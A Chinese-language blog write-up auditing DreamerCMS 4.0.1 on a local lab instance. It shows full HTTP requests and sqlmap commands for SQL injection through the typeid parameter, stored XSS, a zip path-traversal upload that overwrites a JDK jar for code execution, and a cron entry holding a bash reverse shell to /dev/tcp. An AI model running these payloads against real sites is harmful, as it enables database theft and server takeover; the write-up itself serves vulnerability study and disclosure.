DreamerCMS_4.0.1代码审计
Yu9

SQL注入

全局搜索${

image-20240201230613493

定位到这块dreamer_cms_4.0.1\src\main\resources\mapping\ArchivesMapper.xml

image-20240201223856519

向上跟进找到接口调用处

image-20240201224219640

继续向上寻找,发现有两处调用queryListByKeywords

image-20240203025144262

后台首页搜索处存在SQL注入

我们分析,先定位到第一处dreamer_cms_4.0.1\src\main\java\cn\itechyou\cms\service\impl\ArchivesServiceImpl.java

image-20240201224251265

image-20240201224351906

在向上寻找dreamer_cms_4.0.1\src\main\java\cn\itechyou\cms\controller\admin\SearchController.java

image-20240201224509010

该功能点在首页搜索处

image-20240201224859444

抓包并把keyword参数改为typeid

image-20240201224955881

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /admin/search/doSearch HTTP/1.1
Host: 127.0.0.1:8888
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
sec-ch-ua-mobile: ?0
Referer: http://127.0.0.1:8888/admin/search//doSearch
Cookie: dreamer-cms-s=d88b060d-b171-4dd7-8edb-f23c2a804bad
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Mode: navigate
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8888
Sec-Fetch-Dest: document
Sec-Fetch-User: ?1
Sec-Fetch-Site: same-origin
Content-Length: 30

entity%5B%27typeid%27%5D=*

保存文件、sqlmap一把梭:

1
python sqlmap.py -r D:\Desktop\test.txt -level=5

image-20240201223818762

前台首页搜索处存在SQL注入

刚刚我们分析过后还有一处也调用了queryListByKeywords

image-20240203025323191

位置在dreamer_cms_4.0.1\src\main\java\cn\itechyou\cms\taglib\tags\PageListTag.java

删了一些没有关系的,留了点比较重要的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public String parse(String html, SearchEntity params) 

Map<String,Object> searchParams = new HashMap<String,Object>();

String keywords = params.getEntity().get("keywords").toString();
searchParams.put("keywords", keywords);

if(params.getEntity().containsKey("typeid") && StringUtil.isNotBlank(params.getEntity().get("typeid"))) {
String typeid = params.getEntity().get("typeid").toString();
typeid = typeid.replace(",", "','");
searchParams.put("typeid", "'" + typeid + "'");
}


for (int i = 0;i < listTags.size();i++) {

List<ArchivesVo> list = archivesMapper.queryListByKeywords(searchParams);

......

可以看到先创建了一个searchParams的集合,之后就是把typeid参数放进这个集合没有任何过滤。

接着就是继续寻找parse方法的调用处,看看在这之前有没有做啥过滤。同样是在当前路径下的parsePageList方法

image-20240203030552036

可以看到也是没有做任何过滤

那就继续向上寻找,最终是定位到dreamer_cms_4.0.1\src\main\java\cn\itechyou\cms\controller\FrontController.java

/search下接受的params实体类,那就看他中有没有对typeid参数过滤

typeid参数没有处理,但是这块做了一些限制。若不满足,就会终止:

  • 必须包含entity[‘keywords’]、pageNum、pageSize这三个参数(pageNum、pageSize参数有给默认值,我们发请求不携带也OK)
  • keywords不能少于5个字符

image-20240203031410200

所以我们满足这两个条件即可!

我们在页面中找到该接口在前台搜索处

image-20240203031626423

抓包、添加entity[‘typeid’]参数,并且保证keywords长度大于5.

保存数据包sqlmap一把梭

1
python sqlmap.py -r D:\Desktop\test2.txt -level=5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /search HTTP/1.1
Host: 127.0.0.1:8888
Cache-Control: max-age=0
Sec-Fetch-User: ?1
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
Sec-Fetch-Dest: document
Origin: http://127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Referer: http://127.0.0.1:8888/
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Upgrade-Insecure-Requests: 1
Cookie: dreamer-cms-s=3b69bad5-b1b3-4d47-b2b4-2938b036f7c5
sec-ch-ua-mobile: ?0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Mode: navigate
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Content-Length: 32

entity%5B%27keywords%27%5D=qwert&entity%5B%27typeid%27%5D=*

image-20240203031858196

XSS

前台首页储存型XSS

image-20240202141728147

前台刷新页面触发

image-20240202141803303

数据包

image-20240202141927606

定位到dreamer_cms_4.0.1\src\main\java\cn\itechyou\cms\controller\admin\CategoryController.java

image-20240202142028468

没有做任何过滤就存到数据库中

后台附件管理文件任意文件上传导致xss

image-20240203033200809

抓包,可以看到文件路径

image-20240203033306512

然后访问即可,有点鸡肋

image-20240203033405681

other

RCE

https://n1k0la-t.github.io/2023/01/31/DreamerCMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/

cc/iteachyou/cms/controller/admin/TaskController.java#runTaskCron调用了Class.forName(),参数可控。

image-20230201151939509

image-20230201015554062

由于Java的懒加载,我们可以通过覆盖JDK安装路径下未被打开的jar包,在没有被加载的类的静态代码块中写入恶意代码,再利用此处的*Class.forName()*加载类,执行类中的静态代码。但是由此引发了一个问题,如何获取JDK安装路径?实际上,DreamerCMS的后台仪表盘已经为我们提供了JDK安装路径。

image-20230201021319148

需要注意的是,在一些较低的JDK版本中,并不存在懒加载。

image-20230201023217750

8u181

image-20230201112353963

8u212

这里选择覆盖没有被打开的*/usr/local/openjdk-8/jre/lib/ext/zipfs.jar*,制作一个同名jar包。

image-20230201121012985

制作恶意压缩文件,覆盖*/usr/local/openjdk-8/jre/lib/ext/zipfs.jar*。

1
2
3
4
5
import zipfile

zipFile = zipfile.ZipFile('t.zip', 'a', zipfile.ZIP_DEFLATED)
zipFile.write('zipfs.jar', '../../../../../../../../../../../../../../../../../usr/local/openjdk-8/jre/lib/ext/zipfs.jar', zipfile.ZIP_DEFLATED)
zipFile.close()

image-20230201121831418

最后添加计划任务并执行,通过任意文件读取漏洞读取命令执行结果。

image-20230201122618359

image-20230201122957570

image-20230201122922584

后台压缩校验不正确导致Getshell

奇安信攻防社区-Dreamer CMS 代码审计 (butian.net)

漏洞效果

我们先在 Linux 系统创建..\*..\*..\*..\*..\*..\*..\*..\*..\*..\*var\*spool\*cron\*root文件,并写入远连命令。

1
2
echo "*/1 * * * * bash -i &gt;&amp; /dev/tcp/127.0.0.1/7777 0&gt;&amp;1" &gt; ..\*..\*..\*..\*..\*..\*..\*..\*..\*..\*var\*spool\*cron\*root
zip -r ./test3.zip ..\*..\*..\*..\*..\*..\*..\*..\*..\*..\*var\*spool\*cron\*root

8.png
image.png
打包完后,通过风格管理上传该压缩包。
image.png
提示主题描述不存在,问题不大,这说明解压完成了。
image.png
在后台日志输出也能看到解压完毕。
image.png
接着我们到服务机器上看到我们的文件已经写进去了。
image.png
通过nc -lvvp 7777成功获得服务器权限。
image.png

漏洞定位

Controller文件:src/main/java/cc/iteachyou/cms/controller/admin/ThemesController.java

image.png
在添加主题中调用了unZipFiles,我们具体看看这个工具类方法。
工具类文件:src/main/java/cc/iteachyou/cms/utils/ZipUtils.java

image.png
代码是常见的文件解压操作,针对压缩包内文件名做了../判断的校验,但在后面的代码里,使用正则将文件名内的*全部替换成路径符号/。值得注意的是,这里没有校验..\,这同样会造成目录穿越。
..*..*..*..*..*..*..*..*..*..*var\*spool\*cron\*root变成../../../../../../../../../../var/spool/cron/root导致目录穿越的产生。在Linux情况下,我们可以写计划任务或者写SSH私钥可以达到获取服务器权限的目的。Window的情况下可以写恶意EXE到桌面钓鱼。

由 Hexo 驱动 & 主题 Keep
总字数 50.7k 访客数 访问量